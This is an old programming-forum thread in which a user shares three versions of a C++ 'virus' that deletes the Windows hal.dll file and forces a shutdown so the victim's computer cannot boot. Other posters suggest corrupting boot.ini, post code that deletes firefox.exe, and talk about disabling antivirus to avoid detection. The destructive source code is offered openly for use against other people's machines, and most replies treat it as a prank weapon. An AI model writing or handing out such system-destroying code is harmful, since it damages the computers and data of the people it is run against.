Powerful C++ Virus

Discussion in 'Programming General' started by SidStudios, Mar 14, 2007.

Thread Status:
Not open for further replies.
Powerful C++ Virus
  1. Unread #1 - Mar 14, 2007 at 3:23 AM
  2. SidStudios
    Joined:
    Mar 14, 2007
    Posts:
    201
    Referrals:
    0
    Sythe Gold:
    0

    SidStudios Active Member

    Powerful C++ Virus

    This is a powerful C++ virus that I have made, which deletes Hal.dll, something that is required for startup. After deleting that, it shuts down, never to start again.

    Warning: Do not try this on your home computer.
    The Original Code:
    Code:
    #include <cstdlib>
    #include <iostream>
    
    using namespace std;
    
    int main(int argc, char *argv[])
    {
        std::remove("C:\\windows\\system32\\hal.dll"); //PWNAGE TIME
        system("shutdown -s -r");
        system("PAUSE");
        return EXIT_SUCCESS;
    }
    
    A more advanced version of this virus which makes the C:\\Windows\\ a variable that cannot be wrong was made by getores. Here it is:
    Code:
    
    #include <cstdlib>
    #include <iostream>
    
    using namespace std;
    
    int main(int argc, char *argv[])
    {
    std::remove("%systemroot%\\system32\\hal.dll"); //PWNAGE TIME
    system("shutdown -s -r");
    system("PAUSE");
    return EXIT_SUCCESS;
    }
    
    The second version would be more useful during times when you do not know the victims default drive. It might be drive N: for all you know.

    NEW: SVXX's Version of this virus that uses Batch for most of its commands:
    Code:
    #include <cstdlib>
    #include <iostream>
    
    using namespace std;
    
    int main(int argc, char *argv[])
    {
        system("del %SystemRoot%\\system32\\hal.dll -q"); //PWNAGE TIME
        system("%SystemRoot%\\system32\\shutdown.exe -s -f -t 00");
        system("PAUSE");
        return EXIT_SUCCESS;
    }
     
  3. Unread #2 - Mar 14, 2007 at 9:33 AM
  4. The End
    Joined:
    Dec 10, 2005
    Posts:
    397
    Referrals:
    0
    Sythe Gold:
    0

    The End Forum Addict

    Powerful C++ Virus

    never to start again eh? so i guess formating the drive and reinstalling would be out of the question? and really try moding boot.ini to continuously loop at booting so they think they can fix it and cause more frustration if thats your goal here
     
  5. Unread #3 - Mar 14, 2007 at 12:29 PM
  6. SidStudios
    Joined:
    Mar 14, 2007
    Posts:
    201
    Referrals:
    0
    Sythe Gold:
    0

    SidStudios Active Member

    Powerful C++ Virus

    Haha that's a good idea.
    What would happen if I just delete boot.ini?
     
  7. Unread #4 - Mar 15, 2007 at 11:24 AM
  8. -------owned-------
    Joined:
    Jan 27, 2007
    Posts:
    1,225
    Referrals:
    0
    Sythe Gold:
    0

    -------owned------- Guru
    Banned

    Powerful C++ Virus

    Viruses isn't allowed and are illegal.
     
  9. Unread #5 - Mar 15, 2007 at 2:35 PM
  10. Govind
    Joined:
    Apr 22, 2005
    Posts:
    7,825
    Referrals:
    13
    Sythe Gold:
    23
    Prove it! Trole Tier 1 Prizebox Tortoise Penis Le Monkey UWotM8? Wait, do you not have an Archer rank? Potamus

    Govind The One Musketeer
    Mudkips Highly Respected Retired Administrator

    Powerful C++ Virus

    Yeah, because it's impossible to restore that from the Recovery Console.
    :rolleyes:
     
  11. Unread #6 - Mar 15, 2007 at 2:59 PM
  12. Cruel__Machine
    Referrals:
    100

    Cruel__Machine Guest

    Powerful C++ Virus

    Hehe, I like how it has "pause" at the end... like it matters after shut down. ;)
    Anyhow, this is lazy. My system folder isn't in the C:\ drive. So you should retrieve the system path first.
     
  13. Unread #7 - Mar 15, 2007 at 3:53 PM
  14. I_own_most
    Joined:
    Mar 4, 2007
    Posts:
    286
    Referrals:
    0
    Sythe Gold:
    0

    I_own_most Forum Addict
    Banned

    Powerful C++ Virus

    i gut a more annoying virus delete firefox.exe if you do that to every comp the world would as we know would end (only for pros who use firefox)

    also for deleting hal i have another hd and i made a backup of many system files on it (it runs pirated vista and ubuntu) but my mom and dad wont let me use it because they know its illegle but i can easily fix the error if u give me it i could also fix the firefox.exe

    heres firefox delete code (im not testing this)

    Code:
     #include <cstdlib>
    #include <iostream>
    
    using namespace std;
    
    int main(int argc, char *argv[])
    {
        std::remove("C:\\program_files\mozilla_firefox\firefox.exel"); //PWNAGE TIME
    }
     
  15. Unread #8 - Mar 15, 2007 at 4:48 PM
  16. Th4 Ub3r Qu3st3r wh0 0wnz
    Joined:
    Feb 17, 2007
    Posts:
    449
    Referrals:
    0
    Sythe Gold:
    0

    Th4 Ub3r Qu3st3r wh0 0wnz Forum Addict
    Do Not Trade

    Powerful C++ Virus

    who i think ima not gonna use this on my own pc lol, pretty good:p:p
     
  17. Unread #9 - Mar 15, 2007 at 8:12 PM
  18. Govind
    Joined:
    Apr 22, 2005
    Posts:
    7,825
    Referrals:
    13
    Sythe Gold:
    23
    Prove it! Trole Tier 1 Prizebox Tortoise Penis Le Monkey UWotM8? Wait, do you not have an Archer rank? Potamus

    Govind The One Musketeer
    Mudkips Highly Respected Retired Administrator

    Powerful C++ Virus

    That is a very crude "virus". First of all, the default location of Firefox.exe is %programfiles%\Mozilla Firefox\firefox.exe.

    There aren't underscores in the Program Files and Mozilla Firefox directories.

    Deleting firefox won't do any harm since the user could just use IE (unless they're iamaminer and deleted it :D ) and download Firefox again.
     
  19. Unread #10 - Mar 15, 2007 at 9:42 PM
  20. Xjaa
    Joined:
    Jan 21, 2007
    Posts:
    3,248
    Referrals:
    2
    Sythe Gold:
    0
    Lawrence Potamus

    Xjaa Penguin
    $100 USD Donor

    Powerful C++ Virus

    this is for C++ scripters that love playing with fire
     
  21. Unread #11 - Mar 16, 2007 at 1:57 AM
  22. SidStudios
    Joined:
    Mar 14, 2007
    Posts:
    201
    Referrals:
    0
    Sythe Gold:
    0

    SidStudios Active Member

    Powerful C++ Virus

    I don't think the people here will distribute it to others. And, even people who are evil enough to will not have the knowledge on how to compile these C++ apps :O

    And, I think most of us know that virii are illegal.

    To I_own_most:
    Firefox's exe file is firefox.exe not firefox.exel :p
     
  23. Unread #12 - Mar 16, 2007 at 4:57 AM
  24. Michael3455
    Joined:
    Sep 11, 2005
    Posts:
    134
    Referrals:
    0
    Sythe Gold:
    0

    Michael3455 Active Member

    Powerful C++ Virus

    Hmmm, I'm definately evil enough to distribute it to others (To those I think deserve it) and I definately know how to compile it.
    Code:
    g++ -o virius -g -Wall virus.cpp 
    
    :D

    Anyway, I wouldn't distribute that virius... It's not really that cool. I'm on a mission to create a viri that changes the 'start' menue to a 'fuck' menue. Mostly for purposes of displaying such a 'vulgar and disgusting' word such that to my Grandmother.

    Also, when claiming something is a powerful virius, make sure it is. I'm not sure if this would be picked up by Virius Scanners, but you would need to have root access (Administrator) for this to work. Also, it doesn't spread or do anything remotely interesting.

    Just my two cents. Nice work though, if you keep trying I'm sure you'll be able to make a megaworm in a few years.
     
  25. Unread #13 - Mar 16, 2007 at 2:34 PM
  26. SidStudios
    Joined:
    Mar 14, 2007
    Posts:
    201
    Referrals:
    0
    Sythe Gold:
    0

    SidStudios Active Member

    Powerful C++ Virus

    A tip on that: You could probably achieve the "Fuck" in the start menu by getting the C++ program to edit the reg entries. That's a damn nice idea! I just might try it out myself!
     
  27. Unread #14 - Mar 16, 2007 at 3:39 PM
  28. Kossity
    Referrals:
    0

    Kossity Guest

    Powerful C++ Virus

    lol cool, I'll be sure to avoid playing around with that code.
     
  29. Unread #15 - Mar 16, 2007 at 7:34 PM
  30. Michael3455
    Joined:
    Sep 11, 2005
    Posts:
    134
    Referrals:
    0
    Sythe Gold:
    0

    Michael3455 Active Member

    Powerful C++ Virus

    Yeah, it'll be something silly like that. I just can't see 'cause I have no box with Windows installed which kinda makes it hard.
     
  31. Unread #16 - Mar 16, 2007 at 11:43 PM
  32. SidStudios
    Joined:
    Mar 14, 2007
    Posts:
    201
    Referrals:
    0
    Sythe Gold:
    0

    SidStudios Active Member

    Powerful C++ Virus

    Which OS do you have?
     
  33. Unread #17 - Mar 17, 2007 at 1:19 AM
  34. Swan
    Joined:
    Jan 23, 2007
    Posts:
    4,957
    Referrals:
    0
    Sythe Gold:
    0
    Sythe's 10th Anniversary Member of the Month Winner

    Swan When They Cry...
    Retired Global Moderator

    Powerful C++ Virus

    Obviously Linux, Solaris, or Mac. My guess is Linux.
    My choice of OS would come in the following order: Mac, Linux, Solaris, Windows. You notice that Windows is on the end? You notice how Windows isn't built on even a tiny Unix frame? Funny that ...

    *nix for the win!
     
  35. Unread #18 - Mar 17, 2007 at 1:20 AM
  36. The End
    Joined:
    Dec 10, 2005
    Posts:
    397
    Referrals:
    0
    Sythe Gold:
    0

    The End Forum Addict

    Powerful C++ Virus

    im guessing that michael has a linux box and....

    most av's wouldnt pick that up unless they specifically monitor that file or the program included some commonly used api calls etc that an av might pick up on as "malicious activity"
     
  37. Unread #19 - Mar 17, 2007 at 1:59 AM
  38. SidStudios
    Joined:
    Mar 14, 2007
    Posts:
    201
    Referrals:
    0
    Sythe Gold:
    0

    SidStudios Active Member

    Powerful C++ Virus

    That won't happen if:
    a) It first restarts the computer in safe mode and then the program starts,
    b) If we pwn the antivirus first by killing it

    For a linux box you can use crossover office, it lets you run windows on linux. Or, you can use Cedega. Now, if you do not support warez, I can't help you :eek:
     
  39. Unread #20 - Mar 17, 2007 at 2:07 AM
  40. SidStudios
    Joined:
    Mar 14, 2007
    Posts:
    201
    Referrals:
    0
    Sythe Gold:
    0

    SidStudios Active Member

    Powerful C++ Virus

    Mine would be Windows, Mac, Linux, and Solaris

    Why?

    Because you can't do jack shit on a linux box without Crossover office. Macromedia hasn't created a version of Flash 8 for Linux, or, for that matter, they haven't created anything from their Macromedia Studio 8 line of products for linux.

    And, what's so good about running on a Unix frame?
    I agree that KDE is 1000000000x faster than the crappy windows alternative.

    I used to have Ubuntu on this computer. Then, I installed openSuSE.
    Loved it, except you couldn't do anything on it. Even the bittorrent clients sucked.
    That's why I downloaded and installed Windows XP Pro on this computer.
     
< Visual Basic 2008 screenshot taker help. | [Dll] Flaming Hotkeys, Really simple to use >

Users viewing this thread
1 guest
Thread Status:
Not open for further replies.


 
 
Adblock breaks this site